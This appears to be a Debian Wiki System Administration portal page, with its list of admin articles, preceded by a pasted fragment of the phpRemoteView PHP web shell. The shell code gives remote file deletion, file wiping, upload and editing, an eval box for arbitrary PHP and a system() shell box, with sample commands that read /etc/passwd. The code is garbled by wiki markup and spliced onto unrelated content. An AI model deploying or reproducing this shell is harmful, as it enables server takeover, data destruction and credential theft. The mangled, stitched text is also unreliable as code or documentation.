3. <input type=checkbox name=df2 value=1 id=df2 checked>{{{
  <label for=df2>create file name automatic</label>
  &nbsp;&nbsp;OR&nbsp;&nbsp;
  type any file name:
  <input name=df3 size=20><br>
}}}
4. <input type=checkbox name=df4 value=1 id=df4>{{{
  <label for=df4>convert file name to lovercase</label><br>
}}}
<input type=submit value='Send File'>
</form>";


break;



case "delete":
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!isset($c2)) exit("err# delete 1");
   if (!isset($confirm) |||| strlen($confirm)<3) exit("Confirm not found (go back and set checkbox)");
   echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>back to directory</b> &gt;&gt;&gt;</nobr></a><p>";
   if (!isset($d) |||| !isset($f) |||| !@file_exists($d.$f) |||| !@realpath($d.$f))
      exit("Delete cancel - File not found");
   if (realpath(getenv("SCRIPT_FILENAME"))==$d.$f && !isset($delete_remview_confirm))
      exit("Do you want delete this script (phpRemoteView) ???<br><br><br><br>
      <a href='$self?c=delete&c2=$c2&confirm=delete&d=".urlencode($d)."&f=".urlencode($f)."&delete_remview_confirm=YES'>[YES, DELETE <b>ME</b>]</a>
       &nbsp; &nbsp; &nbsp;
      <a href='javascript:history.back(-1)'>[NO (back)]</a>");
}}}
{{{
   switch ($c2) {
   case "delete":
       //exit("$d $f");
       ob();
       if (!unlink($d.$f))
          obb().exit("<font color=red><b>Delete cancel - ACCESS DENIED</b></font>$obb");
       Header("Location: $self?c=l&d=".urlencode($d));
       echo "<P><a href=$self?c=l&d=".urlencode($d).">done (go back)!</a><p>";
       echo "Delete ok";
       break;
   case "touch":
       ob();
       if (!touch($d.$f))
          obb().exit("<font color=red><b>Touch cancel - ACCESS DENIED</b></font>$obb");
       Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
       echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">done (go back)!</a><p>";
       echo "Touch ok (set current time to 'modify time')";
       break;
   case "clean":
       ob();
       $fi=fopen($d.$f,"w+") or
          obb().exit("<font color=red><b>Clean (empty file) cancel - ACCESS DENIED</b></font>obb");
       ftruncate($fi,0);
       fclose($fi);
       Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
       echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">done (go back)!</a><p>";
       echo "Clean ok (file now empty)";
       break;
   case "wipe":
       $size=filesize($d.$f);
       ob();
       $fi=fopen($d.$f,"w+") or
          obb().exit("<font color=red><b>Wipe cancel - access denied</b></font>$obb");
       $str=md5("phpspbru".mt_rand(0,999999999).time());
       for ($i=0; $i<5; $i++) $str.=$str; // strlen 1024 byte
       for ($i=0; $i<intval($size/1024)+1; $i++) fwrite($fi,$str);
       fclose($fi);
       ob();
       if (!unlink($d.$f))
          obb().exit("err# delete 2 - file was rewrite, but not delete...(only write access, delete disable)$obb");
       Header("Location: $self?c=l&d=".urlencode($d));
       echo "<a href=$self?c=i&d=".urlencode($d).">done (go back)!</a><p>";
       echo "Wipe ok (file deleted)";
       break;
   }
}}}
{{{
   //Header("Location: $self?c=l&d=".urlencode(dirname($df)));
   //echo "<a href=$self?c=i&d=".urlencode(dirname($df)).">SAVE NEW FILE DONE (go back)!</a>";
}}}
{{{
   break;
}}}


case "dirdelete":
{{{
   if (!$write_access) exitw();
}}}

function dir_delete($df) {{{{
   echo "<b>".basename($df)."</b><ul>";
   if ($dir=opendir($df)) {
      $i=0;
      while (($file=readdir($dir))!==false) {
         if ($file=="." |||| $file=="..") continue;
         if (is_dir("$df/$file")) {
            dir_delete($df."/".$file);
         }
         else {
            echo "$file<br>";
            echo "DELETE <tt>$df/$file</tt> ...<br>";
            unlink($df."/".$file);
         }
         $i++;
      }
      //if ($i==0) echo "-empty-<br>";
   }
   closedir($dir);
   echo "</ul>";
   echo "DELETE DIR <tt>$df</tt> ...<br>";
   rmdir("$df/$file");
}}}
}
{{{
   if (!isset($c2)) exit("error dirdelete 1");
   if (!isset($confirm)) exit("Please set confirm!");
   $df="$d";
}}}
{{{
   switch ($c2) {
}}}
{{{
      case "files":
         echo "<h3>Deleting all files in <tt>$df</tt> ...</h3>";
         if ($dir=opendir($df)) {
            while (($file=readdir($dir))!==false) {
                if ($file=="." |||| $file=="..") continue;
                if (is_dir($df.$file)) {
                   echo "<big><tt><b>>$file</b></tt></big> skip: ".filetype($df.$file)."<br>";
                }
                elseif (is_file($df.$file)) {
                   echo "<big><tt><b><font color=red>$file</font></b></tt></big> deleting...";
                   unlink($df.$file);
                   echo "<br>";
                }
                else {
                   echo "<big><tt><b>$file</b></tt></big> skip: ".filetype($df.$file)."<br>";
                }
            }
         }
         closedir($dir);
         $ref="$self?c=l&d=".urlencode($d);
         break;
   
      case "dir":
         echo "<h3>Deleting all dir/files (recursive) in <tt>$df</tt> ...</h3>";
         dir_delete($df);
         $ref="$self?c=l&d=".urlencode(realpath($d."/.."));
         break;
   }
   //header("Location: $ref");
   echo "<p><a href=$ref>DONE, go back</a>";
   break;
}}}

case "copy":
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!isset($from) |||| !@file_exists($from) |||| !@realpath($from))
      exit("err# copy 1, file [$from] not found");
   if (!isset($to) |||| strlen($to)==0)
      exit("err# copy 2, file [$to] not found");
   echo "Copy: ....<hr size=1 noshade>";
   if (!copy($from,$to)) {
      echo "<hr size=1 noshade><font color=red><b>Error!</b></font><p>";
      echo "View <a href=$self?c=l&d=".urlencode(dirname($from)).">".dirname($from)."<p>";
   }
   else
      echo "DONE!<p>";
      echo "View <a href=$self?c=l&d=".urlencode(dirname($from)).">".dirname($from)."</a> (dir 'from')<p>";
      echo "View <a href=$self?c=l&d=".urlencode(dirname($to)).">".dirname($to)."</a> (dir 'to')<p>";
   break;
}}}




case "e": // edit
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!@realpath($d.$f) |||| !file_exists($d.$f)) exit("file not found");
   echo $GLOBALS['html'];
   up($d,$f);
   echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>back to directory</b> &gt;&gt;&gt;</nobr></a>";
   up_link($d,$f);
   $msg="";
   if (!is_file($d.$f) |||| !$fi=@fopen($d.$f,"r+")) $msg=" (<font color=red><b>ONLY READ ACCESS (don't edit!)</b></font>)";
   else fclose($fi);
   if (!is_file($d.$f) |||| !$fi=@fopen($d.$f,"r")) $msg=" (<font color=red><b>Can't READ file - access denied (don't edit!)</b></font>)";
   else fclose($fi);
   if ($msg=="") $msg="(<font color=#009900><b>full read/write access</b></font>)";
   echo "<p><b>EDIT FILE</b> $msg<p>";
}}}
{{{
   if (!$fi=@fopen($d.$f,"r")) exit("cant' open, access denied");
   echo "<form action=$self method=post>
   <input type=hidden name=c value=e_submit>
   <input type=hidden name=d value=\"".htmlspecialchars($d)."\">
   <input type=hidden name=f value=\"".htmlspecialchars($f)."\">
   <textarea name=text cols=70 rows=20 style='width: 100%;'>".
   htmlspecialchars(fread($fi,filesize($d.$f)))."</textarea><p>
   <input type=submit value=' SAVE FILE (write to disk) '>
   <input type=checkbox name=confirm value=1 id=conf>
   <label for=conf><font color=red><b><= set confirm,
      then press 'save'...</b></font></label>
   </form>";
}}}
{{{
   break;
}}}


case "e_submit":
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!realpath($d.$f) |||| !file_exists($d.$f)) exit("file not found");
   if (!isset($text)) exit("err# e_submit 1");
   if (!isset($confirm)) exit("Set CONFIRM CheckBox!");
   if (!$fi=@fopen($d.$f,"w+")) exit("access denied");
   fwrite($fi,$text);
   fclose($fi);
   Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
   echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">SAVE DONE (go back)!</a>";
}}}
{{{
   break;
}}}



case "newfile_submit":
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!isset($text) |||| !isset($df)) exit("err# newfile_submit 1");
   if (!isset($confirm)) exit("Set CONFIRM CheckBox!");
   if (!$fi=@fopen($df,"w+")) exit("access denied, can't create/open [$df]");
   fwrite($fi,$text);
   fclose($fi);
   Header("Location: $self?c=l&d=".urlencode(dirname($df)));
   echo "<a href=$self?c=i&d=".urlencode(dirname($df)).">SAVE NEW FILE DONE (go back)!</a>";
   break;
}}}


case "fileupload_submit":
{{{
   if (!$write_access) exitw();
   if (!isset($df)) exit("err# newfile_submit 1");
   if (!isset($df3)) exit("err# newfile_submit 2");
}}}
{{{
   $fname="";
   if (isset($df2)) {
      if (!preg_match("~([^/]+)$~",$HTTP_POST_FILES['userfile']['name'],$ok)) {
         exit("Upload failed: can't detect file name");
      }
      $fname=$ok["1"];
   }
   else {
      $fname=$df3;
   }
   if ($fname=="")
     exit("You mast checked 'create file name automatic' OR typed file name!");
   if (isset($df4)) $fname=strtolower($fname);
}}}
{{{
   echo "Temp file: ".$HTTP_POST_FILES['userfile']['tmp_name']."<br>";
   echo "Origin file name: ".$HTTP_POST_FILES['userfile']['name']."<br>";
   echo "File size: ".$HTTP_POST_FILES['userfile']['size']."<br>";
   if ($df[strlen($df)-1]!="''") $df.="''";
   echo "SAVING TO: <font color=blue>$df</font><font color=red><b>$fname</b></font><p>";
}}}
{{{
   ob();
   $ok=copy($HTTP_POST_FILES['userfile']['tmp_name'],"$df$fname");
   obb();
   if (!$ok) exit("<font color=red><b>Sorry, access denied</b></font> $obb");
}}}
{{{
   if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
   Header("Location: $ref");
   echo "<a href='$ref'>NEW FILE SAVED</a>";
  
   break;
}}}


case "newdir_submit":
{{{
   if (!$write_access) exitw();
   if (!isset($df)) exit("err# newdir_submit 1");
   ob();
   if (!mkdir($df,$mkdir_mode)) {
      obb();
      exit("Access denied $obb");
   }
   obb();
   if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
   Header("Location: $ref");
   echo "<a href='$ref'>Go to new directory!</a>";
}}}
{{{
   break;
}}}


case "t":
{{{
   echo "<h3>
   <a href='$self'>START PAGE</a> ||
   <a href='$self?c=t'>Eval/Shell</a>
   </h3>";
}}}
{{{
   if (!$write_access) exitw();
   error_reporting(2038);
}}}
{{{
   if (!isset($php)) {
      $php="''''' line 1 '''''\n\n// for example, uncomment next line:\nphpinfo();\n\n//readfile(\"/etc/passwd\");\n\n/''' line 8 '''/";
      $skipphp=1;
      $pre='checked';
      $nlbr='';
      $xmp='';
      $htmls='checked';
   }
}}}
{{{
   echo "<b>Eval PHP code</b> (don't type \"&lt;?\" and \"?&gt;\")
}}}
<form action=$self method=post>
<input type=hidden name=c value=t>
<textarea name=php rows=10 cols=60 style='width:100%;'>$php</textarea>
<input type=checkbox name=pre value='checked' $pre id='pre'>{{{
   <label for='pre'> add &lt;pre&gt;</label><br>
}}}
<input type=checkbox name=xmp value='checked' $xmp id='xmp'>{{{
   <label for='xmp'> add &lt;xmp&gt;</label><br>
}}}
<input type=checkbox name=htmls value='checked' $htmls id='htmls'>{{{
   <label for='htmls'> add htmlspecialchars()</label><br>
}}}
<input type=checkbox name=nlbr value='checked' $nlbr id='nlbr'>{{{
   <label for='nlbr'> add nl2br()</label><br>
}}}
<input type=submit></form>
<P><hr size=1 noshade>";
{{{
   if (!isset($skipphp)) {
      echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
      if ($pre<>'') echo "<pre>";
      if ($xmp<>'') echo "<xmp>";
      if ($nlbr<>'' |||| $htmls<>'') {
         ob_start();
      }
      eval($php);
      if ($nlbr<>'' |||| $htmls<>'') {
         $tmp=ob_get_contents();
         ob_end_clean();
         if ($htmls<>'') $tmp=htmlspecialchars($tmp);
         if ($nlbr<>'') $tmp=nl2br($tmp);
         echo $tmp;
      }
      if ($xmp<>'') echo "</xmp>";
      if ($pre<>'') echo "</pre>";
      echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
   }
}}}
echo "</table></table></table></table></table></table></table></table>
</table></center></table><hr size=1 noshade>";
{{{
   if (!isset($shell)) {
      $shell="#example (remove comments '#'): \n\n#cat /etc/passwd;\n\n#ps -ax\n\n#uname -a";
      $skipshell=1;
   }
   echo "<P><b>Shell commands</b>
}}}
<form action=$self method=post>
<input type=hidden name=c value=t>
<textarea name=shell rows=10 cols=60 style='width:100%;'>$shell</textarea><br>
<input type=submit></form>
<P><hr size=1 noshade>";{{{
   if (!isset($skipshell)) {
      echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<xmp>";
}}}
{{{
      system($shell);
      echo "</xmp>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
   }
}}}
echo "
</table></table></table></table></table></table></table></table>
</table></center><hr size=1 noshade>

";
{{{
   break;
}}}



}


?>



--------------------------------------------------------------------------------



{{{
   
}}}
CategoryPortal | CategorySystemAdministration

Translation(s): বাংলা - English - Español - فارسی (Persian) - Français - Indonesia - Italiano - 한국어 - Melayu - Português (Brasil) - Русский(Russian) - Svenska - Українська


Portal/IDB/icon-wiki-portal.png

Debian Wiki System Administration portal - This portal covers all aspects of administering Debian GNU/Linux systems, including installation, package management, configuration, monitoring and security.

Quick access

 

Portal/IDB/icon-backup-32x32.png Backup And Recovery
Portal/IDB/icon-floppy-32x32.png Boot process
Portal/IDB/icon-configure-32x32.png Configuring systems
Portal/IDB/icon-drive-cdrom-32x32.png Installation
Portal/IDB/icon-kernel-32x32.png Kernel
Portal/IDB/icon-monitor-32x32.png Monitoring
Portal/IDB/icon-chipset-32x32.png Hardware

Portal/IDB/icon-apt-32x32.png Package management
Portal/IDB/icon-printer-32x32.png Printing
Portal/IDB/icon-backup-32x32.png Rescue
Portal/IDB/icon-security-32x32.png Security and Reliability Management
Portal/IDB/icon-community-32x32.png Users and Groups Management
Portal/IDB/icon-emulator-32x32.png Virtualization
Portal/IDB/icon-display-32x32.png X system
Portal/IDB/icon-hdd-32x32.png Storage and file systems


Wiki pages

Portal refactoring/merging in progress below this point

List of pages related to System Administration in Debian:

  1. AdministrationTools
  2. AptCacherNg
  3. AptConfiguration
  4. AutomatedUpgrade
  5. Backup
  6. BackupAndRecovery
  7. BackupAndRecoveryWork
  8. Bash
  9. BashColors
  10. BootProcess
  11. BootProcessSpeedup
  12. ChangeLanguage
  13. ChildProcess
  14. Cloud/AmazonEC2DebianInstaller
  15. Cloud/AmazonEC2Image
  16. Cloud/GoogleComputeEngineImage
  17. Cloud/SystemsComparison
  18. Cloud/TorqueCluster
  19. Cloud/WindowsAzureImage
  20. CommandLine
  21. CommandsCLI
  22. ConfigPackages
  23. Console
  24. Cron
  25. Cryptography
  26. DDNS
  27. DHCP_Server
  28. DatabaseServers
  29. DateTime
  30. DebianAlternatives
  31. DebianEdu/Documentation/ITIL
  32. DebianEdu/Documentation/ITIL/AllInOne
  33. DebianEdu/Documentation/ITIL/InfrastructureSetup
  34. DebianEdu/Infrastructure
  35. DebianFirewall
  36. DebianHosting
  37. DebianInstaller/SataRaid
  38. DebianInstaller/SoftwareRaidRoot
  39. DebianKVMGuests
  40. DebianKernel
  41. Debian_Systems_Administration_for_non-Debian_SysAdmins
  42. DefaultPrograms
  43. DiskFreeSpace
  44. Doas
  45. Docker
  46. DontBreakDebian
  47. Dovecot
  48. DrBd
  49. DualBoot
  50. Duplicity
  51. EVMS
  52. EnvironmentVariables
  53. Exim
  54. Ext4
  55. F2FS
  56. FAI
  57. FTP
  58. FastTrack
  59. FileSystem
  60. FilesystemHierarchyStandard
  61. Firewalls
  62. Hibernation
  63. HostingControlPanels
  64. KVM
  65. Kernel
  66. LDAP
  67. LDAP/AutoFSSetup
  68. LDAP/ExampleEntries
  69. LDAP/Kerberos
  70. LDAP/LDAPUtils
  71. LDAP/MigrationTools
  72. LDAP/OpenLDAPSetup
  73. LDAP/PAM
  74. LDAP/PowerDNSSetup
  75. LDAP/phpldapadmin
  76. LVM
  77. LXC
  78. LaMp
  79. Linux volume management
  80. LinuxRaidForAdmins
  81. Locale
  82. MDA
  83. MaildirConfiguration
  84. Memory
  85. Multiarch/HOWTO
  86. NFSServerSetup
  87. NTP
  88. NetworkConfiguration
  89. NetworkInterfaceNames
  90. NetworkMonitoring
  91. NotEnoughRAM
  92. OpenNebula
  93. OpenStack
  94. OpenVz
  95. PackageKit/ItemNotFound
  96. PackageManagement
  97. Part-UUID
  98. Parted
  99. Partition
  100. Permissions
  101. Piwik
  102. Podman
  103. PolicyKit
  104. ProxyAutodetectConf
  105. PuppetDashboard
  106. QEMU
  107. RamDisk
  108. Redmine
  109. RemoteDesktop
  110. Root
  111. Samba
  112. Samba/BuildingALinuxDomain
  113. Samba/ClientSetup
  114. Samba/DcWithLdapBackend
  115. Samba/Dirvish
  116. Samba/FreeRadiusToLdap
  117. Samba/LinuxDomainClients
  118. Samba/ServerSimple
  119. Samba/WindowsPginaClient
  120. SecurityManagement
  121. ServicesHosting
  122. Shell
  123. ShellCommands
  124. ShellConfiguration
  125. ShellToolTricks
  126. ShellTricks
  127. SoftwareRAID
  128. Storage
  129. Swap
  130. SymLink
  131. SystemAdministration
  132. SystemBootProcess
  133. SystemConfiguration
  134. SystemDowngrade
  135. SystemGroups
  136. SystemInstall
  137. SystemMonitoring
  138. SystemPrinting
  139. SystemVirtualization
  140. Teams/DSA
  141. TheUnixWay
  142. ThomasChung/CloudImage
  143. ThomasChung/Linode
  144. ThomasChung/WebConsole
  145. ThomasChung/virsh-snapshot
  146. TimeZoneChanges
  147. TrafficControl
  148. TroubleShooting
  149. UnattendedUpgrades
  150. UserAccounts
  151. UserPrivateGroups
  152. UsersAndGroups
  153. UsingPhusionPassengerWithPuppetmaster
  154. WHEEL/PAM
  155. WakeOnLan
  156. WebServers
  157. WhereIsIt
  158. WindowsServerHyperV
  159. Wvdial
  160. Xorg
  161. Zg2ShellStartup
  162. bn/LaMp
  163. bn/SystemAdministration
  164. coreutils
  165. cs/SystemAdministration
  166. deb
  167. debconf
  168. device_node
  169. euca2ools
  170. fstab
  171. git
  172. iptables
  173. libvirt
  174. libvirt/xen
  175. ms/SystemAdministration
  176. msmtp
  177. nftables
  178. nginx/FastCGI
  179. nspawn
  180. nullmailer
  181. nut
  182. pamusb
  183. partclone
  184. rootfs
  185. sudo
  186. systemd/Services
  187. udev
  188. zh_CN/LAMP
  189. zh_CN/PackageManagement


CategoryPortal | CategorySystemAdministration